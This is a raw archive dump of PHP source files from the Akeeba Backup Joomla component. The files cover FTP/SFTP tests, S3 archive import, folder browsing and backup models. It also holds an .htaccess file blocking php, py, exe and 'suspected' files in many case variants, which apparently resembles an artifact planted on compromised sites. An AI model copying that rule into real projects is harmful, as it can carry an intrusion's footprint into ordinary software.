		$configPath = JPATH_ADMINISTRATOR . '/components/' . $this->option . '/restoration.php';

		clearstatcache(true, $configPath);

		if (@file_exists($configPath))
		{
			if (!@unlink($configPath))
			{
				// File::delete($configPath);
			}
		}

		// Write new file
		$result = @file_put_contents($configPath, $data);

		if ($result === false)
		{
			// $result = File::write($configPath, $data);
		}

		// Clear opcode caches for the generated .php file
		if (function_exists('opcache_invalidate'))
		{
			opcache_invalidate($configPath, true);
		}

		if (function_exists('apc_compile_file'))
		{
			apc_compile_file($configPath);
		}

		if (function_exists('wincache_refresh_if_changed'))
		{
			wincache_refresh_if_changed([$configPath]);
		}

		if (function_exists('xcache_asm'))
		{
			xcache_asm($configPath);
		}

		return $result;
	}

	/**
	 * Handles an AJAX request
	 *
	 * @return  mixed
	 */
	public function doAjax()
	{
		$ajax  = $this->getState('ajax');
		$input = JoomlaFactory::getApplication()->getInput();

		switch ($ajax)
		{
			// FTP Connection test for DirectFTP
			case 'testftp':
				// Grab request parameters
				$config = [
					'host'    => $input->get('host', '', 'raw'),
					'port'    => $input->get('port', 21, 'int'),
					'user'    => $input->get('user', '', 'raw'),
					'pass'    => $input->get('pass', '', 'raw'),
					'initdir' => $input->get('initdir', '', 'raw'),
					'usessl'  => $input->get('usessl', 'cmd') == 'true',
					'passive' => $input->get('passive', 'cmd') == 'true',
				];

				// Perform the FTP connection test
				$test = new Directftp();

				try
				{
					$test->initialize('', $config);
				}
				catch (Exception $e)
				{
					return implode("\n", $this->getErrorsFromExceptions($e));
				}

				return true;
				break;

			// Unrecognized AJAX task
			default:
				$result = false;
				break;
		}

		return $result;
	}

	/**
	 * Gets the list of IDs from the request data
	 *
	 * @return array
	 */
	protected function getIDsFromRequest()
	{
		// Get the ID or list of IDs from the request or the configuration
		$input = JoomlaFactory::getApplication()->getInput();
		$cid   = $input->get('cid', [], 'array');
		$id    = $input->getInt('id', 0);

		if (is_array($cid) && !empty($cid))
		{
			return array_unique(array_map(function ($x) {
				return (int) $x;
			}, $cid));
		}

		if (!empty($id))
		{
			return [$id];
		}

		return [];
	}
}PK     \q    *  src/Model/Exceptions/FrozenRecordError.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model\Exceptions;

// Protect from unauthorized access
defined('_JEXEC') || die();

use RuntimeException;

class FrozenRecordError extends RuntimeException
{

}
PK     \2%    +  src/Model/Exceptions/TransferFatalError.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model\Exceptions;

// Protect from unauthorized access
defined('_JEXEC') || die();

use RuntimeException;

class TransferFatalError extends RuntimeException
{

}
PK     \Zqz    /  src/Model/Exceptions/TransferIgnorableError.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model\Exceptions;

// Protect from unauthorized access
defined('_JEXEC') || die();

use RuntimeException;

class TransferIgnorableError extends RuntimeException
{

}
PK     \Sʉ        src/Model/Exceptions/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \b      src/Model/BrowserModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') or die;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\MVC\Model\BaseModel;
use Joomla\Filesystem\Folder;

#[\AllowDynamicProperties]
class BrowserModel extends BaseModel
{
	/**
	 * Initialises the directory listing. All results are stored in model state variables.
	 */
	public function makeListing()
	{
		// Get the folder to browse
		$folder        = $this->getState('folder', '');
		$processfolder = $this->getState('processfolder', 0);

		if (empty($folder))
		{
			$folder = JPATH_SITE;
		}

		$stock_dirs = Platform::getInstance()->get_stock_directories();
		arsort($stock_dirs);

		if ($processfolder == 1)
		{
			foreach ($stock_dirs as $find => $replace)
			{
				$folder = str_replace($find, $replace, $folder);
			}
		}

		// Normalise name, but only if realpath() really, REALLY works...
		$old_folder = $folder;
		$folder     = @realpath($folder);

		if ($folder === false)
		{
			$folder = $old_folder;
		}

		$isFolderThere = @is_dir($folder);

		// Check if it's a subdirectory of the site's root
		$isInRoot = (strpos($folder, JPATH_SITE) === 0);

		// Check open_basedir restrictions
		$isOpenbasedirRestricted = Factory::getConfigurationChecks()->checkOpenBasedirs($folder);

		// -- Get the meta form of the directory name, if applicable
		$folder_raw = $folder;

		foreach ($stock_dirs as $replace => $find)
		{
			$folder_raw = str_replace($find, $replace, $folder_raw);
		}

		$isWritable = false;
		$subfolders = [];

		if ($isFolderThere && !$isOpenbasedirRestricted)
		{
			$isWritable = is_writable($folder);
			try
			{
				$subfolders = Folder::folders($folder);
			}
			catch (\Exception $e)
			{
				$subfolders = [];
			}
		}

		// In case we can't identify the parent folder, use ourselves.
		$parent      = $folder;
		$breadcrumbs = [];

		// Try to get the parent directory
		$pathparts = explode(DIRECTORY_SEPARATOR, $folder);

		if (is_array($pathparts))
		{
			$path = '';

			foreach ($pathparts as $part)
			{
				$path .= empty($path) ? $part : DIRECTORY_SEPARATOR . $part;

				if (empty($part))
				{
					if (DIRECTORY_SEPARATOR != '\\')
					{
						$path = DIRECTORY_SEPARATOR;
					}

					$part = DIRECTORY_SEPARATOR;
				}

				$breadcrumbs[] = [
					'label'  => $part,
					'folder' => $path,
				];
			}

			$junk   = array_pop($pathparts);
			$parent = implode(DIRECTORY_SEPARATOR, $pathparts);
		}

		$this->setState('folder', $folder);
		$this->setState('folder_raw', $folder_raw);
		$this->setState('parent', $parent);
		$this->setState('exists', $isFolderThere);
		$this->setState('inRoot', $isInRoot);
		$this->setState('openbasedirRestricted', $isOpenbasedirRestricted);
		$this->setState('writable', $isWritable);
		$this->setState('subfolders', $subfolders);
		$this->setState('breadcrumbs', $breadcrumbs);
	}
}
PK     \Py!  !     src/Model/ConfigurationModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') or die;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Base;
use Akeeba\Engine\Util\Transfer\Ftp;
use Akeeba\Engine\Util\Transfer\FtpCurl;
use Akeeba\Engine\Util\Transfer\Sftp;
use Akeeba\Engine\Util\Transfer\SftpCurl;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseModel;
use Joomla\CMS\Uri\Uri;
use Joomla\Filesystem\File;
use RuntimeException;

#[\AllowDynamicProperties]
class ConfigurationModel extends BaseModel
{
	/**
	 * Method to get state variables. Uses application input if the state is not set.
	 *
	 * @param   null   $property  Optional parameter name
	 * @param   mixed  $default   Optional default value
	 *
	 * @return  mixed  The property where specified, the state object where omitted
	 *
	 * @since   4.0.0
	 */
	public function getState($property = null, $default = null)
	{
		try
		{
			$default = JoomlaFactory::getApplication()->getInput()
				->get($property, $default, is_array($default) ? 'array' : 'raw');
		}
		catch (Exception $e)
		{
		}

		return parent::getState($property, $default);
	}

	/**
	 * Save the engine configuration
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function saveEngineConfig(): void
	{
		/** @var CMSApplication $app */
		$app  = JoomlaFactory::getApplication();
		$data = $this->getState('engineconfig', []);

		// Forbid stupidly selecting the site's root as the output or temporary directory
		if (array_key_exists('akeeba.basic.output_directory', $data))
		{
			$folder = $data['akeeba.basic.output_directory'];
			$folder = Factory::getFilesystemTools()->translateStockDirs($folder, true, true);
			$check  = Factory::getFilesystemTools()->translateStockDirs('[SITEROOT]', true, true);

			if ($check == $folder)
			{
				$data['akeeba.basic.output_directory'] = '[DEFAULT_OUTPUT]';
			}
			else
			{
				$data['akeeba.basic.output_directory'] = Factory::getFilesystemTools()->rebaseFolderToStockDirs($data['akeeba.basic.output_directory']);
			}
		}

		// Unprotect the configuration and merge it
		$config        = Factory::getConfiguration();
		$protectedKeys = $config->getProtectedKeys();
		$config->resetProtectedKeys();
		$config->mergeArray($data, false, false);
		$config->setProtectedKeys($protectedKeys);

		// Save configuration
		Platform::getInstance()->save_configuration();
	}

	/**
	 * Test the FTP connection.
	 *
	 * @return  void
	 * @throws  RuntimeException
	 */
	public function testFTP(): void
	{
		$config = [
			'host'        => $this->getState('host'),
			'port'        => $this->getState('port'),
			'username'    => $this->getState('user'),
			'password'    => $this->getState('pass'),
			'directory'   => $this->getState('initdir'),
			'usessl'      => $this->getState('usessl'),
			'passive'     => $this->getState('passive'),
			'passive_fix' => $this->getState('passive_mode_workaround'),
		];

		// Check for bad settings
		if (substr($config['host'], 0, 6) == 'ftp://')
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_CONFIG_FTPTEST_BADPREFIX'), 500);
		}

		// Special case for cURL transport
		if ($this->getState('isCurl'))
		{
			$test = new FtpCurl($config);
		}
		else
		{
			$test = new Ftp($config);
		}

		$test->connect();

		// If we're here, it means that  we were able to connect to the remote server. Now let's try to upload a small file
		$tmp_path  = JoomlaFactory::getApplication()->get('tmp_path');
		$test_file = '.akeeba_test_' . substr(hash('md5', microtime()), 0, 5). '.dat';
		$tmp_file  = $tmp_path . '/' . $test_file;
		file_put_contents($tmp_file, 'Akeeba Backup test file');

		// Construct the remote file path
		$realdir  = substr($config['directory'], -1) == '/' ? substr($config['directory'], 0, strlen($config['directory']) - 1) : $config['directory'];
		$realdir  .= '/' . dirname($test_file);
		$realdir  = substr($realdir, 0, 1) == '/' ? $realdir : '/' . $realdir;
		$realname = $realdir . '/' . basename($test_file);

		try
		{
			$ret = $test->upload($tmp_file, $realname);
		}
		catch (RuntimeException $e)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_CONFIG_FTPTEST_NOUPLOAD'), 500);
		}
		finally
		{
			try
			{
				File::delete($tmp_file);
			}
			catch (Exception $e)
			{
				// Swallow.
			}
		}

		if (!$ret)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_CONFIG_FTPTEST_NOUPLOAD'), 500);
		}

		// Delete the remote file. If it fails, that's ok for us
		$test->delete($realname);
	}

	/**
	 * Test the SFTP connection.
	 *
	 * @return  void
	 * @throws  RuntimeException
	 */
	public function testSFTP(): void
	{
		$config = [
			'host'       => $this->getState('host'),
			'port'       => $this->getState('port'),
			'username'   => $this->getState('user'),
			'password'   => $this->getState('pass'),
			'privateKey' => $this->getState('privkey'),
			'publicKey'  => $this->getState('pubkey'),
			'directory'  => $this->getState('initdir'),
		];

		// Check for bad settings
		if (substr($config['host'], 0, 7) == 'sftp://')
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_CONFIG_SFTPTEST_BADPREFIX'), 500);
		}

		// Initialize the correct object
		if ($this->getState('isCurl'))
		{
			$test = new SftpCurl($config);
		}
		else
		{
			$test = new Sftp($config);
		}

		$test->connect();

		// If we're here, it means that  we were able to connect to the remote server. Now let's try to upload a small file
		$tmp_path  = JoomlaFactory::getApplication()->get('tmp_path');
		$test_file = '.akeeba_test_' . substr(hash('md5', microtime()), 0, 5). '.dat';
		$tmp_file  = $tmp_path . '/' . $test_file;
		file_put_contents($tmp_file, 'Akeeba Backup test file');

		// Construct the remote file path
		$realdir  = substr($config['directory'], -1) == '/' ? substr($config['directory'], 0, strlen($config['directory']) - 1) : $config['directory'];
		$realdir  .= '/' . dirname($test_file);
		$realdir  = substr($realdir, 0, 1) == '/' ? $realdir : '/' . $realdir;
		$realname = $realdir . '/' . basename($test_file);

		try
		{
			$test->upload($tmp_file, $realname);
		}
		catch (RuntimeException $e)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_CONFIG_SFTPTEST_NOUPLOAD'), 500);
		}
		finally
		{
			try
			{
				File::delete($tmp_file);
			}
			catch (Exception $e)
			{
				// Swallow.
			}
		}

		// Delete the remote file. If it fails, that's ok for us
		$test->delete($realname);
	}

	/**
	 * Opens an OAuth window for the selected post-processing engine
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function dpeOuthOpen(): void
	{
		$engine = $this->getState('engine');
		$params = $this->getState('params', []);

		// Get a callback URI for OAuth 2
		$params['callbackURI'] = rtrim(Uri::base(), '/') . '/index.php?option=com_akeebabackup&view=Configuration&task=dpecustomapiraw&engine=' . $engine;

		// Get the Input object
		$params['input'] = JoomlaFactory::getApplication()->getInput()->getArray();

		// Get the engine
		$engineObject = Factory::getPostprocEngine($engine);

		if (!$engineObject instanceof Base)
		{
			return;
		}

		$engineObject->oauthOpen($params);
	}

	/**
	 * Runs a custom API call for the selected post-processing engine
	 *
	 * @return  mixed
	 */
	public function dpeCustomAPICall()
	{
		$engine = $this->getState('engine');
		$method = $this->getState('method');
		$params = $this->getState('params', []);

		// Get the Input object
		$params['input'] = JoomlaFactory::getApplication()->getInput()->getArray();

		$engineObject = Factory::getPostprocEngine($engine);

		if (!$engineObject instanceof Base)
		{
			return false;
		}

		return $engineObject->customAPICall($method, $params);
	}

	/**
	 * Test the connection to a remote FTP server using cURL transport
	 *
	 * @return  void
	 * @throws  RuntimeException
	 */
	private function testFtpCurl(): void
	{
		$options = [
			'host'        => $this->getState('host'),
			'port'        => $this->getState('port'),
			'username'    => $this->getState('user'),
			'password'    => $this->getState('pass'),
			'directory'   => $this->getState('initdir'),
			'usessl'      => $this->getState('usessl'),
			'passive'     => $this->getState('passive'),
			'passive_fix' => $this->getState('passive_mode_workaround'),
		];

		$sftpTransfer = new FtpCurl($options);

		$sftpTransfer->connect();
	}
}PK     \eG3  G3    src/Model/S3importModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Connector\S3v4\Configuration;
use Akeeba\Engine\Postproc\Connector\S3v4\Connector as Amazons3;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseModel;
use RuntimeException;

#[\AllowDynamicProperties]
class S3importModel extends BaseModel
{
	/**
	 * Cached list of S3 buckets
	 *
	 * @var   array|null
	 * @since 9.0.0
	 */
	protected static $buckets;

	protected static $folders;

	protected static $files;

	/**
	 * Maximum time to spend downloading files per request, in seconds
	 *
	 * @var  int
	 */
	protected $maxTimeAllowance = 10;

	/**
	 * Set the S3 connection credentials
	 *
	 * @param   string  $accessKey  Access key
	 * @param   string  $secretKey  Private key
	 *
	 * @return  void
	 */
	public function setS3Credentials(string $accessKey, string $secretKey)
	{
		$this->setState('s3access', $accessKey);
		$this->setState('s3secret', $secretKey);
	}

	/**
	 * Get a list of Amazon S3 buckets.
	 *
	 * @return  array
	 */
	public function getBuckets(): array
	{
		// Return cached data, if it exists
		if (is_array(self::$buckets))
		{
			return self::$buckets;
		}

		// Initialise
		self::$buckets = [];

		// Make sure we have enough information to collect the list of bucket
		if (!$this->hasAdequateInformation(false))
		{
			return self::$buckets;
		}

		// Try to retrieve the buckets
		try
		{
			$config = $this->getS3Configuration();

			$config->setRegion('us-east-1');

			$s3 = $this->getS3Connector();

			self::$buckets = $s3->listBuckets(false);
		}
		catch (Exception $e)
		{
			// Swallow the exception
		}

		// Thsi should never be triggered since listBuckets() always returns an array.
		if (!is_array(self::$buckets))
		{
			self::$buckets = [];
		}

		return self::$buckets;
	}

	/**
	 * Returns the folders and archive files in an S3 bucket
	 *
	 * @return array[]
	 */
	public function getContents(): array
	{
		if (is_array(self::$folders) && is_array(self::$files))
		{
			return [
				'files'   => self::$files,
				'folders' => self::$folders,
			];
		}

		self::$files   = [];
		self::$folders = [];

		if (!$this->hasAdequateInformation())
		{
			return [
				'files'   => self::$files,
				'folders' => self::$folders,
			];
		}

		$root   = $this->getState('folder', '/');
		$bucket = $this->getState('s3bucket');
		$region = $this->getBucketRegion($bucket);
		$config = $this->getS3Configuration();

		$config->setRegion($region);

		$s3 = $this->getS3Connector();

		try
		{
			$raw = $s3->getBucket($bucket, $root, null, null, '/', true);

			foreach ($raw as $name => $record)
			{
				if (substr($name, -8) == '$folder$')
				{
					continue;
				}

				if (array_key_exists('name', $record))
				{
					$extension = substr($name, -4);

					if (!in_array($extension, ['.zip', '.jpa', '.jps']))
					{
						continue;
					}

					$files[$name] = $record;
				}
				elseif (array_key_exists('prefix', $record))
				{
					$folders[$name] = $record;
				}
			}
		}
		catch (Exception $e)
		{
			// Swallow the exception
		}

		return [
			'files'   => $files,
			'folders' => $folders,
		];
	}

	/**
	 * Get the breadcrumbs you'll be using in the S3 import view
	 *
	 * @return  array
	 */
	public function getCrumbs(): array
	{
		$folder = $this->getState('folder', '');
		$crumbs = [];

		if (!empty($folder))
		{
			$folder = rtrim($folder, '/');
			$crumbs = explode('/', $folder);
		}

		return $crumbs;
	}

	/**
	 * Downloads a backup archive set to the server
	 *
	 * @return  bool  Have I finished the import?
	 * @throws  Exception
	 */
	public function downloadToServer(): bool
	{
		if (!$this->hasAdequateInformation())
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_S3IMPORT_ERR_NOTENOUGHINFO'));
		}

		/** @var CMSApplication $app */
		$app     = \Joomla\CMS\Factory::getApplication();
		$session = $app->getSession();

		// Gather the necessary information to perform the download
		$part           = $session->get('com_akeebabackup.s3import.part', -1);
		$frag           = $session->get('com_akeebabackup.s3import.frag', -1);
		$remoteFilename = $this->getState('file', '');

		$bucket = $this->getState('s3bucket');
		$region = $this->getBucketRegion($bucket);
		$config = $this->getS3Configuration();

		$config->setRegion($region);

		$s3 = $this->getS3Connector();

		// Get the number of parts and total size from the session, or –if not there– fetch it
		$totalparts = $session->get('com_akeebabackup.s3import.totalparts', -1);
		$totalsize  = $session->get('com_akeebabackup.s3import.totalsize', -1);

		if (($totalparts < 0) || (($part < 0) && ($frag < 0)))
		{
			$filePrefix = substr($remoteFilename, 0, -3);
			$allFiles   = $s3->getBucket($bucket, $filePrefix);
			$totalsize  = 0;

			if (count($allFiles))
			{
				foreach ($allFiles as $name => $file)
				{
					$totalsize += $file['size'];
				}
			}

			$session->set('com_akeebabackup.s3import.totalparts', count($allFiles));
			$session->set('com_akeebabackup.s3import.totalsize', $totalsize);
			$session->set('com_akeebabackup.s3import.donesize', 0);

			$totalparts = $session->get('com_akeebabackup.s3import.totalparts', -1);
		}

		// Start timing ourselves
		$timer      = Factory::getTimer(); // The core timer object
		$start      = $timer->getRunningTime(); // Mark the start of this download
		$break      = false; // Don't break the step
		$local_file = null;

		while (($timer->getRunningTime() < $this->maxTimeAllowance) && !$break && ($part < $totalparts))
		{
			// Get the remote and local filenames
			$basename      = basename($remoteFilename);
			$extension     = strtolower(str_replace(".", "", strrchr($basename, ".")));
			$new_extension = $extension;

			if ($part > 0)
			{
				$new_extension = substr($extension, 0, 1) . sprintf('%02u', $part);
			}

			$remote_filename = substr($remoteFilename, 0, -strlen($extension)) . $new_extension;

			// Figure out where on Earth to put that file
			$local_file = Factory::getConfiguration()
					->get('akeeba.basic.output_directory') . '/' . basename($remote_filename);

			// Do we have to initialize the process?
			if ($part == -1)
			{
				// Currently downloaded size
				$session->set('com_akeebabackup.s3import.donesize', 0);

				// Init
				$part = 0;
			}

			// Do we have to initialize the file?
			if ($frag == -1)
			{
				// Delete and touch the output file
				Platform::getInstance()->unlink($local_file);
				$fp = @fopen($local_file, 'w');

				if ($fp !== false)
				{
					@fclose($fp);
				}

				// Init
				$frag = 0;
			}

			// Calculate from and length
			$length = 1048576;

			$from = $frag * $length;
			$to   = ($frag + 1) * $length - 1;

			// Try to download the first frag
			$temp_file = $local_file . '.tmp';
			@unlink($temp_file);

			$required_time = 1.0;

			try
			{
				$s3->getObject($this->getState('s3bucket', ''), $remote_filename, $temp_file, $from, $to);
				$result = true;
			}
			catch (Exception $e)
			{
				$result = false;
			}

			if (!$result)
			{
				// Failed download
				@unlink($temp_file);

				if (
				(
					(($part < $totalparts) || (($totalparts == 1) && ($part == 0))) &&
					($frag == 0)
				)
				)
				{
					// Failure to download the part's beginning = failure to download. Period.
					throw new RuntimeException(Text::_('COM_AKEEBABACKUP_S3IMPORT_ERR_NOTFOUND'));
				}
				elseif ($part >= $totalparts)
				{
					// Just finished! Create a stats record.
					$multipart = $totalparts;
					$multipart--;

					$filetime = time();
					// Create a new backup record
					$record = [
						'description'     => Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTEDDESCRIPTION'),
						'comment'         => '',
						'backupstart'     => date('Y-m-d H:i:s', $filetime),
						'backupend'       => date('Y-m-d H:i:s', $filetime + 1),
						'status'          => 'complete',
						'origin'          => 'backend',
						'type'            => 'full',
						'profile_id'      => 1,
						'archivename'     => basename($remoteFilename),
						'absolute_path'   => dirname($local_file) . '/' . basename($remoteFilename),
						'multipart'       => $multipart,
						'tag'             => 'backend',
						'filesexist'      => 1,
						'remote_filename' => '',
						'total_size'      => $totalsize,
					];

					$id = null;
					Platform::getInstance()->set_or_update_statistics($id, $record);

					return true;
				}
				else
				{
					// Since this is a staggered download, consider this normal and go to the next part.
					$part++;
					$frag = -1;
				}
			}

			// Add the currently downloaded frag to the total size of downloaded files
			if ($result)
			{
				clearstatcache();
				$filesize = (int) @filesize($temp_file);
				$total    = $session->get('com_akeebabackup.s3import.donesize', 0);
				$total    += $filesize;
				$session->set('com_akeebabackup.s3import.donesize', $total);
			}

			// Successful download, or have to move to the next part.
			if ($result)
			{
				// Append the file
				$fp = @fopen($local_file, 'a');

				if ($fp === false)
				{
					// Can't open the file for writing
					@unlink($temp_file);

					throw new RuntimeException(Text::_('COM_AKEEBABACKUP_S3IMPORT_ERR_CANTWRITE'));
				}

				@clearstatcache();
				$tf = fopen($temp_file, 'r');

				if ($tf === false)
				{
					@unlink($temp_file);
					@fclose($fp);

					throw new RuntimeException(Text::_('COM_AKEEBABACKUP_S3IMPORT_ERR_CANTOPEN'));
				}

				while (!feof($tf))
				{
					$data = fread($tf, 262144);
					fwrite($fp, $data);
				}

				fclose($tf);
				fclose($fp);
				@unlink($temp_file);

				$frag++;
			}

			// Advance the frag pointer and mark the end
			$end = $timer->getRunningTime();

			// Do we predict that we have enough time?
			$required_time = max(1.1 * ($end - $start), $required_time);

			if ($required_time > ($this->maxTimeAllowance - $end + $start))
			{
				$break = true;
			}

			$start = $end;
		}

		// Pass the id, part, frag in the request so that the view can grab it
		$this->setState('part', $part);
		$this->setState('frag', $frag);
		$session->set('com_akeebabackup.s3import.part', $part);
		$session->set('com_akeebabackup.s3import.frag', $frag);

		if ($part >= $totalparts)
		{
			// Just finished! Create a new backup record
			$record = [
				'description'     => Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTEDDESCRIPTION'),
				'comment'         => '',
				'backupstart'     => date('Y-m-d H:i:s'),
				'backupend'       => date('Y-m-d H:i:s', time() + 1),
				'status'          => 'complete',
				'origin'          => 'backend',
				'type'            => 'full',
				'profile_id'      => 1,
				'archivename'     => basename($remoteFilename),
				'absolute_path'   => dirname($local_file) . '/' . basename($remoteFilename),
				'multipart'       => $totalparts,
				'tag'             => 'backend',
				'filesexist'      => 1,
				'remote_filename' => '',
				'total_size'      => $totalsize,
			];

			$id = null;
			Platform::getInstance()->set_or_update_statistics($id, $record);

			return true;
		}

		return false;
	}

	/**
	 * Returns the region for the bucket
	 *
	 * @param   string  $bucket
	 *
	 * @return  string|null
	 */
	public function getBucketRegion(string $bucket): ?string
	{
		$bucketForRegion = $this->getState('bucketForRegion', null);
		$region          = $this->getState('region', null);

		if (!empty($bucket) && (($bucketForRegion != $bucket) || empty($region)))
		{
			$config = $this->getS3Configuration();
			$config->setRegion('us-east-1');

			$s3     = $this->getS3Connector();
			$region = $s3->getBucketLocation($bucket);
			$this->setState('bucketForRegion', $bucket);
			$this->setState('region', $region);
		}

		return $region;
	}

	/**
	 * Gets an S3 connector object
	 *
	 * @return  Amazons3
	 */
	private function getS3Connector(): Amazons3
	{
		static $s3 = null;

		if (!is_object($s3))
		{
			$config = $this->getS3Configuration();
			$s3     = new Amazons3($config);
		}

		return $s3;
	}

	private function getS3Configuration(): Configuration
	{
		static $s3Config = null;

		if (!is_object($s3Config))
		{
			$s3Access = $this->getState('s3access');
			$s3Secret = $this->getState('s3secret');
			$s3Config = new Configuration($s3Access, $s3Secret, 'v4', 'us-east-1');
		}

		return $s3Config;
	}

	/**
	 * Do I have enough information to connect to S3?
	 *
	 * @param   bool  $checkBucket  Should I also check that a bucket name is set?
	 *
	 * @return  bool
	 */
	private function hasAdequateInformation($checkBucket = true): bool
	{
		$s3access = $this->getState('s3access');
		$s3secret = $this->getState('s3secret');
		$s3bucket = $this->getState('s3bucket');

		$check = !empty($s3access) && !empty($s3secret);

		if ($checkBucket)
		{
			$check = $check && !empty($s3bucket);
		}

		return $check;
	}
}PK     \	P  P    src/Model/BackupModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') or die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\TriggerEventTrait;
use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Core\Timer;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Psr\Log\LogLevel;
use Akeeba\Engine\Util\PushMessages;
use Akeeba\WebPush\WebPush\WebPush;
use DateTimeZone;
use DirectoryIterator;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\CMS\User\User;
use RuntimeException;

#[\AllowDynamicProperties]
class BackupModel extends BaseDatabaseModel
{
	use TriggerEventTrait;

	/**
	 * Convert the old, plaintext log files (.log) into their .log.php counterparts.
	 *
	 * @param   int  $timeOut  Maximum time, in seconds, to spend doing this conversion.
	 *
	 * @return  void
	 *
	 * @since   7.0.3
	 */
	public function convertLogFiles($timeOut = 10)
	{
		$registry = Factory::getConfiguration();
		$logDir   = $registry->get('akeeba.basic.output_directory', '[DEFAULT_OUTPUT]', true);

		$timer = new Timer($timeOut, 75);

		// Part I. Remove these obsolete files first
		$killFiles = [
			'akeeba.log',
			'akeeba.backend.log',
			'akeeba.frontend.log',
			'akeeba.cli.log',
			'akeeba.json.log',
		];

		foreach ($killFiles as $fileName)
		{
			$path = $logDir . '/' . $fileName;

			if (@is_file($path))
			{
				@unlink($path);
			}
		}

		if ($timer->getTimeLeft() <= 0.01)
		{
			return;
		}

		// Part II. Convert .log files.
		try
		{
			$di = new DirectoryIterator($logDir);
		}
		catch (Exception $e)
		{
			return;
		}

		foreach ($di as $file)
		{

			try
			{
				if (!$file->isFile())
				{
					continue;
				}

				$baseName = $file->getFilename();

				if (substr($baseName, 0, 7) !== 'akeeba.')
				{
					continue;
				}

				if (substr($baseName, -4) !== '.log')
				{
					continue;
				}

				$this->convertLogFile($file->getPathname());

				if ($timer->getTimeLeft() <= 0.01)
				{
					return;
				}
			}
			catch (Exception $e)
			{
				/**
				 * Someone did something stupid, like using the site's root as the backup output directory while having
				 * an open_basedir restriction. Sorry, mate, you get insecure junk. We had warned you. You didn't heed
				 * the warning. That's your problem now.
				 */
			}
		}
	}

	/**
	 * Get the default backup description.
	 *
	 * The default description is "Backup taken on DATE TIME" where DATE TIME is the current timestamp in the most
	 * specific timezone. The timezone order, from least to most specific, is:
	 * * UTC (fallback)
	 * * Server Timezone from Joomla's Global Configuration
	 * * Timezone from the current user's profile (only applicable to backend backups)
	 * * Forced backup timezone
	 *
	 * @param   string  $format  Date and time format. Default: DATE_FORMAT_LC2 plus the abbreviated timezone
	 *
	 * @return  string
	 */
	public function getDefaultDescription(string $format = ''): string
	{
		// If no date format is specified we use DATE_FORMAT_LC2 plus the abbreviated timezone
		if (empty($format))
		{
			$format = Text::_('DATE_FORMAT_LC2') . ' T';
		}

		// Get the most specific Joomla timezone (UTC, overridden by server timezone, overridden by user timezone)
		$joomlaTimezone = JoomlaFactory::getApplication()->get('offset', 'UTC');

		if (!JoomlaFactory::getApplication()->isClient('cli'))
		{
			$user = JoomlaFactory::getApplication()->getIdentity() ?? (new User());

			if (!$user->guest)
			{
				$joomlaTimezone = $user->getParam('timezone', $joomlaTimezone);
			}
		}

		$timezone = $joomlaTimezone;

		// The forced timezone overrides everything else
		$forcedTZ = Platform::getInstance()->get_platform_configuration_option('forced_backup_timezone', 'AKEEBA/DEFAULT');

		if (!empty($forcedTZ) && ($forcedTZ != 'AKEEBA/DEFAULT'))
		{
